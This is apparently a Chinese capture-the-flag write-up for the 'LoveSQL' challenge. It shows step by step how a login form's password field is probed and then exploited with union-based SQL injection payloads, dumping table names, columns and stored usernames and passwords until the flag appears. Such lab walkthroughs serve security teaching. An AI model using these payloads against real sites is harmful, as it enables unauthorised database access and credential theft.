[极客大挑战 2019]LoveSQL 1

题目环境:
判断注入类型

是否为数字型注入

admin
1

回显结果

是否为字符型注入

admin
1'

回显结果

判断注入手法类型

使用堆叠注入

采用密码参数进行注入

爆数据库
1'; show database();#

回显结果

这里猜测注入语句某字段被过滤,或者是';'被过滤导致不能堆叠注入

爆字段数
1';order by 4#

回显结果

报错

抛弃堆叠注入

步入正题
1' order by 4#

回显结果

成功,但是不存在第4列

同时验证了猜想不能使用堆叠注入

继续判断列数
1' order by 3#

可知列数只有3列

爆数据库

使用联合查询
1' union select 1,2,database()#

爆数据表
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

回显结果

爆出两个表

开始爆数据表的字段

按照先后顺序把,先爆第一个

爆geekuser数据表的字段
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#

回显结果

字段:id、username、password

爆geekuser数据表的所有内容
1' union select 1,database(),group_concat(id,username,password) from geekuser#

回显结果

无flag

转手数据表l0ve1ysq1

步骤和数据表geekuser一样,这里直接爆数据表l0ve1ysq1的flag值
1' union select 1,database(),group_concat(password) from l0ve1ysq1#

回显结果


得出flag:
flag{3c4b1ff9-6685-4dcb-853e-06093c1e4040}

相关推荐
子非衣7 分钟前
Ubuntu系统挂载磁盘并配置开机自动挂载
linux·运维·ubuntu
yyy00020016 分钟前
BGP选路实验
运维·网络
Lizhihao_31 分钟前
TCP实现安全传输的核心机制 + TCP的报文讲解(全程图文讲解)
服务器·网络·网络协议·tcp/ip
笨蛋不要掉眼泪37 分钟前
SpringAOP
java·数据库·spring·log4j
IvanCodes39 分钟前
九、HQL DQL七大查询子句
大数据·数据库·hive
玉笥寻珍42 分钟前
Web安全渗透测试基础知识之内存动态分配异常篇
网络·python·安全·web安全·网络安全
Channing Lewis1 小时前
如何判断一个网站后端是用什么语言写的
前端·数据库·python
唐志远19971 小时前
VMware虚拟机 安装 CentOS 7
linux·运维·centos
酷炫码神1 小时前
C#数据类型
java·服务器·c#
難釋懷1 小时前
Android开发-数据库SQLite
android·数据库·sqlite